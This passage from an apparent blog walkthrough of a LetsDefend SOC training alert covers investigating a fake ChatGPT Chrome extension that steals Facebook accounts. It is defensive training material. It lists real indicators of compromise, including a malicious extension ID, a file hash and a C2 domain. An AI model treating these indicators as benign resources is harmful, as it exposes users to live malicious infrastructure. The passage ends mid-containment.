https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/71e4ec6c95cba2cc8d9cf4e26a8e20ae_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s focus now specifically on events from &lt;em&gt;Microsoft Defender&lt;/em&gt; to see if any quarantine action was taken. But how do we know the endpoint is using &lt;em&gt;Microsoft Defender&lt;/em&gt;? Notice the event right after the &lt;em&gt;chrome.exe&lt;/em&gt; event we looked at earlier. The file path of the executable is a nice hint, but browsing the process names we&amp;rsquo;ll see &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MpCmdRun.exe&lt;/em&gt;&lt;/a&gt; which is the command-line tool component of &lt;em&gt;Microsoft Defender Antivirus.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, putting this all together, if we filter the &lt;em&gt;Microsoft Defender&lt;/em&gt; process name and look for events after the malware was run, this will help us understand if &lt;em&gt;Defender&lt;/em&gt; took any actions against the malicious file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;872px&#34; data-flex-grow=&#34;363&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7e20da6b77d137a2022a08d0cfbeb83a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Based on the command line data, the three entries seem related to signature update jobs and are &lt;em&gt;not&lt;/em&gt; quarantine actions. Between the &lt;em&gt;Process&lt;/em&gt; events and the &lt;em&gt;allowed&lt;/em&gt; action in the alert, we have enough evidence to confirm that the malware was &lt;em&gt;Not Quarantined.&lt;/em&gt; Let&amp;rsquo;s go back to our &lt;em&gt;Case Management&lt;/em&gt; tab, select the answer, and move on to the next step in the workflow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;729px&#34; data-flex-grow=&#34;303&#34; height=&#34;230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9db75f042ef2985348ccb900b3005fc0_MD5.png&#34; width=&#34;699&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-3-analyze-malware-in-3rd-party-tools-and-find-c2address&#34;&gt;Task 3: Analyze malware in 3rd party tools and find C2 address&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve determined that the suspicious extension was not quarantined by the endpoint&amp;rsquo;s &lt;em&gt;antimalware&lt;/em&gt; solution, we&amp;rsquo;ll need to analyze it further using the provided tools to determine if it is indeed malicious or not.&lt;/p&gt;&#xA;&lt;p&gt;The playbook suggests the following web-based services that we can use to gather threat intelligence about the extension:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AnyRun&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VirusTotal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlhaus.abuse.ch/browse/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;URLHouse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://urlscan.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;URLScan&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;HybridAnalysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s jump back to the &lt;em&gt;Alert&lt;/em&gt; in the &lt;em&gt;Monitoring &amp;gt; Investigation Channel&lt;/em&gt; so we can copy the &lt;em&gt;File Hash&lt;/em&gt; of the malicious extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5f794fe8c61c22b7c2e1b3491fa85b82_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5f794fe8c61c22b7c2e1b3491fa85b82_MD5_hu_2c14e3ca4d041f93.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5f794fe8c61c22b7c2e1b3491fa85b82_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you aren&amp;rsquo;t familiar with file hashes, here&amp;rsquo;s a brief description from &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft&lt;/em&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A hash value is a unique value that corresponds to the content of the file. Rather than identifying the contents of a file by its file name, extension, or other designation, a hash assigns a unique value to the contents of a file. File names and extensions can be changed without altering the content of the file, and without changing the hash value. Similarly, the file&amp;rsquo;s content can be changed without changing the name or extension. However, changing even a single character in the contents of a file changes the hash value of the file.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, put another way, using the &lt;em&gt;file hash&lt;/em&gt; of the suspicious extension during our searches means that we&amp;rsquo;re getting data about the identical, exact file that was installed on Samuel&amp;rsquo;s workstation giving us a high degree of confidence compared to searching a file name or something easy to manipulate.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;File Name:&lt;/strong&gt; &lt;em&gt;hacfaophiklaeolhnmckojjjjbnappen.crx&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;File Hash:&lt;/strong&gt;&#xA;&lt;em&gt;7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the first service on the list, &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;ANY.RUN&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;. Here, we can search for that &lt;em&gt;file hash,&lt;/em&gt; view previous public submissions, and dive into the analysis results. Let&amp;rsquo;s check out the result with the closest timestamp to the &lt;strong&gt;Event Time&lt;/strong&gt; (May 29, 2023, 01:01 PM) of the alert.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;512px&#34; data-flex-grow=&#34;213&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/a8a208053ef00d7cece8d04ed33866cb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/a8a208053ef00d7cece8d04ed33866cb_MD5_hu_d75b2e3ce9ef3104.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/a8a208053ef00d7cece8d04ed33866cb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the screenshots, we&amp;rsquo;ll get a better idea of what this extension is — a suspicious looking &lt;em&gt;ChatGPT&lt;/em&gt; extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;209&#34; height=&#34;574&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/823f410558930b371febc84d13204af0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/823f410558930b371febc84d13204af0_MD5_hu_91d627f11a964b1d.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/823f410558930b371febc84d13204af0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This finding also matches something we can observe back in Samuel&amp;rsquo;s &lt;em&gt;Endpoint Security&lt;/em&gt; &amp;gt; &lt;em&gt;Browser History&lt;/em&gt; logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;628px&#34; data-flex-grow=&#34;262&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/26894be56939e35b94520f184e7e6f1e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/26894be56939e35b94520f184e7e6f1e_MD5_hu_c1e0343c4acae532.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/26894be56939e35b94520f184e7e6f1e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While we&amp;rsquo;ve gotten some more context, nothing was explicitly flagged as malicious on &lt;em&gt;ANY.RUN&lt;/em&gt; so let&amp;rsquo;s pivot and check out the next service on the list, &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;After submitting the file hash to &lt;em&gt;VirusTotal&lt;/em&gt; and reviewing the available tabs, we still have no hits indicating concretely that this extension is malicious but what we do have is a comment in the &lt;em&gt;Community&lt;/em&gt; tab linking to an external report from &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Guardio&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;430px&#34; data-flex-grow=&#34;179&#34; height=&#34;446&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5cc06223eae46647790fdddc4950face_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This could be a lead! Let&amp;rsquo;s check out the report.&lt;/p&gt;&#xA;&lt;p&gt;[**&amp;rdquo; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;rdquo;&#xA;: New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with&amp;hellip;**&#xA;_By Nati Tal (Guardio Labs)_labs.guard.io](&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&lt;/a&gt; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282%22%29[]%28https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;)[](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Reading the post, assessing the screenshots, and reviewing the &lt;em&gt;indicators of compromise&lt;/em&gt; (&lt;em&gt;IOCs&lt;/em&gt;) listed in the article, it also doesn&amp;rsquo;t seem to match any of the artifacts that we have located so far in the investigation&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;But pay close attention to the update note at the top of the article — let&amp;rsquo;s see what the update has to offer.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Update: March 22, 2023&lt;/strong&gt; — &lt;a class=&#34;link&#34; href=&#34;http://www.guard.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Guardio&lt;/a&gt; Labs discovered another variant in this FakeGPT campaign, abusing open-source code and yet again hijacking Facebook profiles — &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;read about it here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;[**&amp;rdquo; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;quot;&#xA;#2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer&amp;hellip;**&#xA;_By Nati Tal (Guardio Labs)_labs.guard.io](&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61%22%29[]%28https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;)[](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Okay! Based on the screenshots in the second report, this variant already looks familiar based on what we observed on &lt;em&gt;Any.Run!&lt;/em&gt; Let&amp;rsquo;s focus on the &lt;em&gt;IOCs&lt;/em&gt; listed at the bottom of the article.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;362px&#34; data-flex-grow=&#34;151&#34; height=&#34;481&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fb003e7a400a00747bf495b174b1b426_MD5.png&#34; width=&#34;727&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we&amp;rsquo;re getting somewhere! The &lt;em&gt;Malicious Extension ID&lt;/em&gt; matches the one from the alert and now we have some &lt;em&gt;URLs&lt;/em&gt; we can hunt for in our &lt;em&gt;Log Management&lt;/em&gt;. Since we&amp;rsquo;ve now located known malicious &lt;em&gt;IOCs&lt;/em&gt; that match the artifacts we found on the victim&amp;rsquo;s system, this confirms that the extension is a &lt;strong&gt;&lt;em&gt;malicious,&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;FakeGPT&lt;/em&gt; stealer extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;392px&#34; data-flex-grow=&#34;163&#34; height=&#34;436&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9d9253deecd18dd0b7b2d96c6af12f3c_MD5.png&#34; width=&#34;713&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-4-check-if-someone-requested-thec2&#34;&gt;Task 4: Check if Someone Requested the C2&#xA;&lt;/h3&gt;&lt;p&gt;The next step in our workflow is needing to determine that after the malicious extension was installed if it requested the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Command and Control&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(C2)&lt;/em&gt; server address or not.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;re going to use the &lt;em&gt;Log Management&lt;/em&gt; module to analyze relevant network traffic from Samuel&amp;rsquo;s device to see if we can find evidence that it contacted the &lt;em&gt;C2 Server IOC&lt;/em&gt; that we found in the &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Guardio&lt;/em&gt;&lt;/a&gt; post.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Log Management&lt;/em&gt; tab, and toggle from the &amp;quot; # &amp;ldquo;Pro&amp;quot;filter to the &amp;quot; # &amp;ldquo;Basic&amp;quot;filter:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;465&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9fdd6f4ae9fdb25c62597492b2622f73_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9fdd6f4ae9fdb25c62597492b2622f73_MD5_hu_678f87e5ceff9dea.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9fdd6f4ae9fdb25c62597492b2622f73_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, search for the &lt;em&gt;C2 Server&lt;/em&gt; from the &lt;em&gt;IOC&lt;/em&gt; list to see if we get any hits in our own logs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1668px&#34; data-flex-grow=&#34;695&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/faaf3daff9052686ac144c87bfea4d44_MD5.png&#34; width=&#34;723&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;165&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c1085bc8a2069efc7c8254d5069d0cc6_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c1085bc8a2069efc7c8254d5069d0cc6_MD5_hu_885036ddedeba5b6.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c1085bc8a2069efc7c8254d5069d0cc6_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Uh-oh — we have two hits! Recall that Samuel&amp;rsquo;s source (&lt;em&gt;SRC&lt;/em&gt;) &lt;em&gt;IP address&lt;/em&gt; is &lt;em&gt;172.16.17.173&lt;/em&gt; so we know that we&amp;rsquo;ve found the right entries for his device. Click the first entry to see the &lt;em&gt;Raw Log&lt;/em&gt; for more details:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;367px&#34; data-flex-grow=&#34;152&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/cffecbd15eec535a976f5922e35e92bf_MD5.png&#34; width=&#34;537&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The presence of this &lt;em&gt;DNS&lt;/em&gt; query confirms that &lt;em&gt;chrome.exe&lt;/em&gt; on Samuel&amp;rsquo;s device requested the &lt;em&gt;C2 domain&lt;/em&gt; that we learned about from the &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Guardio&lt;/em&gt;&lt;/a&gt; report. Additionally, we also have two &lt;em&gt;IP addresses&lt;/em&gt; that this domain resolves to — let&amp;rsquo;s confirm this with &lt;em&gt;VirusTotal:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;147&#34; height=&#34;544&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/10adaba481f651c2127e867b1cff6ae7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To be thorough, we can also search for the &lt;em&gt;Landing Page IOCs&lt;/em&gt; to gather more artifacts for the investigation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1855px&#34; data-flex-grow=&#34;773&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/048fa26a910f8d18a905cc1d6c5ebe75_MD5.png&#34; width=&#34;634&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;764px&#34; data-flex-grow=&#34;318&#34; height=&#34;251&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9c32da80f5b11cdca45d3cf8336c3166_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now that we&amp;rsquo;ve investigated the logs and found hits for a &lt;em&gt;Landing Page&lt;/em&gt; and the &lt;em&gt;C2 server&lt;/em&gt;, let&amp;rsquo;s register that the &lt;em&gt;C2&lt;/em&gt; was &lt;strong&gt;accessed&lt;/strong&gt; and continue through the workflow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;389px&#34; data-flex-grow=&#34;162&#34; height=&#34;441&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6205f62c8fa809fe5c01de7ce3c7cb75_MD5.png&#34; width=&#34;716&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-5-containment&#34;&gt;Task 5: Containment&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have confirmed that the file is malicious and it was not quarantined by the &lt;em&gt;antimalware&lt;/em&gt;, we&amp;rsquo;ll need to contain Samuel&amp;rsquo;s device to prevent any further negative impact so that we can remediate the threat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/19fce3ef84b5472c27d5fc2debe6afbd_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll go back to the &lt;em&gt;Endpoint Security&lt;/em&gt; tab, search for &lt;em&gt;Samuel&lt;/em&gt;, and trigger the containment action.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1024px&#34; data-flex-grow=&#34;427&#34; height=&#34;281&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 